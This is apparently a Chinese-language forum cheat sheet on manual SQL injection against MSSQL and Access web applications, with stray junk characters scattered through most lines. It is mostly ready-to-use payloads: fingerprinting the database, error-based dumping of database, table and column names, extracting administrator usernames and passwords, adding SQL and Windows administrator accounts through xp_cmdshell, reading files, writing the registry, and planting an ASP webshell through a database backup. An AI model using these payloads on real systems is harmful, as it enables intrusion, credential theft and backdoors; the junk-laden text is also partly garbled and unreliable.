1.判断是否有注入 7 H$ `' N8 b3 L" z0 u. Y( N
;and 1=1
8 g* Y3 L% i* j6 K. [4 v;and 1=2 " Y$ g4 y* {- R8 S t& U
" y; ~) [* k2 U, [* M/ j7 M
2.初步判断是否是mssql 3 E% C ^) l+ T' {
;and user>0 , F( N+ {$ [" |
; w1 @5 x- }" {' g3 Q; M3.判断数据库系统 ) a1 U; l4 Y* y) B
;and (select count(*) from sysobjects)>0 mssql & a2 C+ v# f( _+ u' @* X& m
;and (select count(*) from msysobjects)>0 access 8 j# l! H9 k# p. u
0 O4 n. n. ~- ]+ ]. f0 \6 x
4.注入参数是字符
- b7 y2 z# ^) Y# @6 @! u'and [查询条件] and ''='
' C9 |. p# o$ v. A3 N. Q2 X1 O0 W/ m! B I
5.搜索时没过滤参数的 7 p* x& N% H4 [# x1 b4 Y# P6 B
'and [查询条件] and '%25'=' % [& Y% c5 d) a0 E) W
1 D- E r" V% ]2 q2 D. ~% s/ D& x8 S& b/ j6.猜数表名
2 d) [/ N$ I- N;and (select Count(*) from [表名])>0
! r( K* C4 R2 g3 n5 Y
# y% h9 a% ]# G2 `3 B* Q4 c* g7.猜字段
/ ]/ ^( b! R* \2 t! o;and (select Count(字段名) from 表名)>0
# h. t7 B# k# [% U; J: M& ?
; G7 c% a* E. r0 y& Y1 U0 n7 N8.猜字段中记录长度
2 J$ s, F3 ?/ p# ~% u;and (select top 1 len(字段名) from 表名)>0
- W9 N4 }' H. g) Q$ k: h- ^8 B ^
/ C' o' o& h% c( I! M0 J5 L9.(1)猜字段的ascii值(access) % g0 i d6 R7 Y' T2 L ]
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
# n( n, G6 G$ v/ T( ~0 b
3 t/ e7 } ]7 {) R* R0 L(2)猜字段的ascii值(mssql) 6 _/ Y# c& O) [* [/ T: J9 g+ |
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 $ P" J4 C b! Q, p+ x
* }) z9 S$ f1 F0 }# B8 |
10.测试权限结构(mssql)
3 r8 P4 w) v4 T6 _2 P! a' _+ T;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
. u- b! `* N7 `" r# I+ q F;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3 k9 }: x0 |( V# n
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- - w" B* V4 C# `
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- + ]& l3 O& Z! {
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- # B4 J2 v- B8 t5 c6 H
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- & o0 W, n. V( k; V" }* }
;and 1=(select IS_MEMBER('db_owner'));-- ' W8 Z3 g& X& U
* P& R' ^) s) K% \9 `8 g P
11.添加mssql和系统的帐户
" R/ W& @3 f4 t0 X' W g3 ~% D;exec master.dbo.sp_addlogin username;-- : o. C) N+ Z/ z
;exec master.dbo.sp_password null,username,password;-- / l. Q3 y E3 o* L' U; D
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- * k& ?' L# G# E: w" U: G: j' h8 K
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
3 y6 U" }( z6 ~;exec master.dbo.xp_cmdshell 'net user username password /add';-- S' |. T! Z% j. {6 x
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
: r' Z4 O6 X# l+ E8 s8 D
! j+ F* N5 x6 o, N1 [) `& O12.(1)遍历目录
) |+ c l, j1 W% D6 |;create table dirs(paths varchar(100), id int) & c! N' y! ^) g8 f5 q
;insert dirs exec master.dbo.xp_dirtree 'c:\'
: _9 j3 d4 T6 I9 z4 c3 F; v/ c9 u;and (select top 1 paths from dirs)>0 ! g C- ^: l6 [! _, {5 N
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $ O- O2 e/ Q. O1 ~! i
: S E$ h# L* Q( L' J7 I2 d% I) v8 Y
(2)遍历目录 ! L6 i/ y# ]5 {/ o
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ' B; g# H$ ]9 `( e
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 # o+ A) Z6 ]3 h" X
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 & e! V3 \/ o. g! U; B7 Z: F
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
$ e" K% o7 A! ^6 f;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
7 s0 n- E1 r1 y9 s
' [2 P i+ z8 k; b; o4 s2 H( ?13.mssql中的存储过程
6 ]% r w- a6 nxp_regenumvalues 注册表根键, 子键
8 b. U: k; \+ H7 s;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 . ^5 ^' I9 ^7 x( P& s* b. k
xp_regread 根键,子键,键值名 7 R V( ?& E2 e7 A
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 & c" W6 m- f% G5 `7 m1 |
xp_regwrite 根键,子键, 值名, 值类型, 值 - {) Z, c+ L" m C1 q
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 3 A6 R: c( d- B; f
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 + X! X2 o2 I& E2 G5 e
xp_regdeletevalue 根键,子键,值名
# R2 ^) ? g/ I! Rexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
" r, H9 T c# c3 H# Hxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
8 D0 [; I7 }# `. g% y* h* `3 R, Q: X/ {& ^" ^
14.mssql的backup创建webshell 6 _* _1 K7 ]) r9 T/ V
use model
. \/ I/ l0 s/ }# _; `( p, Y; [create table cmd(str image);
. J$ K. N* a* h& K [7 finsert into cmd(str) values ('<% Dim oScript %>'); 9 X$ W& T3 t* b1 S2 I( T. K* B' A
backup database model to disk='c:\l.asp';
1 p. [' f# z3 m) b
0 M" G: L0 f- |3 i9 r' o" |15.mssql内置函数
% D* y3 d! Y) Y8 T0 R s9 n;and (select @@version)>0 获得Windows的版本号 * a" y$ ?( B& d6 ?# R- _! M: w, i
;and user_name()='dbo' 判断当前系统的连接用户是不是sa $ I r) i% }; W0 j; B& Y( J9 |3 ~* R- h
;and (select user_name())>0 爆当前系统的连接用户 . r& x# w& _; @& j0 @
;and (select db_name())>0 得到当前连接的数据库 3 o6 r* Z+ j- I C% F W
+ q8 W! k3 p' S1 G
& A, t3 ~. V0 V: a$ ~, k0 h6 Q h
& P' Q4 a, D: k& D2 ^: u% MMSSQL手注暴库
* b B* V- K i- P) K: V4 V
) }. G) b U' j% b1.暴出当前表名和列名+ s. ~* f# ]0 H7 s
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
& H$ _; b) z2 j2 I
( x8 _% m9 b9 h/ S第一.爆出所有数据库名$ H* e/ l- T( _. p# K* [
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。/ m- X$ k6 G* p1 C
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。5 f" g+ f5 ?, @# G: X% V- z5 R
" O) M P( B- Y% E8 {5 |7 a- uand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名' f$ h6 x. q$ u2 N
* Y# h$ Z7 q( c9 \2 q& M5 X1 m
- Q1 b& @* j V% K/ o. ]1 }7 O
第二.爆出指定库中的所有表名% a: @# H% u$ \3 w! x
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
. @" H0 N" T: V9 m, S* t2 D* o再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
8 ]: k& a* r" P5 l V0 Z' S g/ _, X8 d9 V/ ^
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--* h+ f2 i, G; \7 P" h6 q
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
/ a& f, o! C/ G3 d1 kand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--8 l G: T6 S5 C5 x: i
( T h- P z/ o! R! w
4.爆出指定表中的所有列名# k, Z/ z8 Y5 |' r/ i/ R
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
" n# Z* ]$ Z0 _ R9 s& F//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
" ^! }$ B* A! F0 ?3 }
/ j" h( n& _$ ]' Kand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名7 A- m, k+ r+ \7 |9 u
5 M. N" l8 X9 o% ^8 V2 C/ m再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 6 I% m; a9 U* l* S7 Y
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。0 o' l$ |5 t& h
$ |& G+ A" X8 W' ]- Q9 Z3 R
5 A/ s# z$ v: O) S3 l- P
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
/ u5 V8 w* H2 z) T
$ q* P, H) H7 c& a9 _$ E. jand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
% F; L" Q3 n5 J2 \, Q8 a2 n# c2 r2 y$ o
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
+ K2 l& ~+ R/ s6 c/ n* ~
y/ I6 Y* V# Q
' [' a- I6 G$ b5 w; a$ W* m
6 o$ Y" ^3 U" n2 T' b" W" H- `1 Z5.读取指定表中的数据0 X" N( \* p; |4 T& f3 n
. U) T& u7 u8 f5 ] O
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 $ b& k; c7 t, N1 Q
& [7 H6 g% [/ s
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
9 E1 N# n; ]6 x0 `2 Z& s5 y$ G) d( G+ t: [8 z' [
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
& r4 m2 g s4 P/ I: i
1 L" B7 F! p _# V& F- l" e; c/ q! q+ v
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)' L* G8 d: L: N$ D m& E
9 b5 L" {0 R- Q/ L! cand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang). G. c/ d+ a( P! v y& r
0 D# ` V5 y! I8 P& G3 yand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--, I' m* M3 q- n% d/ S4 T
/ D' `' q3 o* h& m4 y8 r
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
6 z' C A* D! R: I4 U7 T; p |